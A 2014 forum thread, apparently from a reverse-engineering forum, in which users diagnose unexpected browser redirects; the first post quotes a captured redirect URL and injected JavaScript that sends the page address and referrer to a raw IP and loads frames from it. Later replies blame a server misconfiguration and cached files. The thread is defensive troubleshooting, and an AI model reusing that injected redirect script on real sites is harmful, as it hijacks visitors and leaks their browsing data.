#1
|
|||
|
|||
Site: Injected/Redirected?
Anyone else getting a site redirect? Started last night. I am getting random redirect upon connecting to the forum using Chrome browser and clicking for NewPost. Firefox does not seem to be doing it, probably blocking the java script.
Did a packet capture and there are no requests originating local. DNS request look good. Here is what is returned back to the browser request. Code:
http://202.102.110.207:8080/1.htm?AIMT=http://forum.exetools.com/search.php?do=getnew&host=forum.exetools.com&refer=&server=105&pre=1398799069638 Code:
<html><head></head><script type="text/javascript"> var sa = "http://202.102.110.207:8080/"; var pp = "105&pre="+(new Date()).getTime(); var s=String(window.location.href); var host=escape(s.substring(7,s.indexOf('/',7))); var ref=escape(document.referrer); var su = s+"&host="+host+"&refer="+ref+"&server="+pp; s = escape(s); function loadfr(){ document.getElementById("fr1").src = sa+"3.htm?AIMT="+su; } function refreshPage(){ document.location = sa+"2.htm?AIMT="+su; } if (self.location == top.location){ document.location= sa+"1.htm?AIMT="+su; } else { refreshPage(); }</script><frameset rows="*,0"><frame id="main" src=""> <frame id="fr1" src=""></frameset><body></body></html> |
#2
|
|||
|
|||
I confirm it. WTF? Forum hacked?
__________________
http://youtu.be/H0QfVDebLFg |
The Following User Gave Reputation+1 to The Old Pirate For This Useful Post: | ||
RedBlkJck (04-30-2014) |
#3
|
|||
|
|||
Same experience my friend :-)
|
#4
|
||||
|
||||
There has been a wrong configuration on the server.
Problem should have been solved yesterday. |
The Following User Gave Reputation+1 to ZeNiX For This Useful Post: | ||
Jhonjhon_123 (05-01-2014) |
#5
|
|||
|
|||
Ah, ok. I found static files stored in the cache for the search function urls like getnew.htm. These needed to be cleared from the cache. Now the site loads as normal. FireFox was a clean install, so that's why no issues. Fixed. Thx. - jack
|
#6
|
|||
|
|||
Damn, I was using IE on a non-updated machine (my fault, I know), and I got totally paranoid thinking I could have get pwned with CVE-2014-1776.
|
Thread Tools | |
Display Modes | |
|
|
Similar Threads | ||||
Thread | Thread Starter | Forum | Replies | Last Post |
Site down? | nikre | General Discussion | 31 | 09-13-2018 19:24 |
Site for New Books | Zaltekk | General Discussion | 25 | 02-22-2018 19:16 |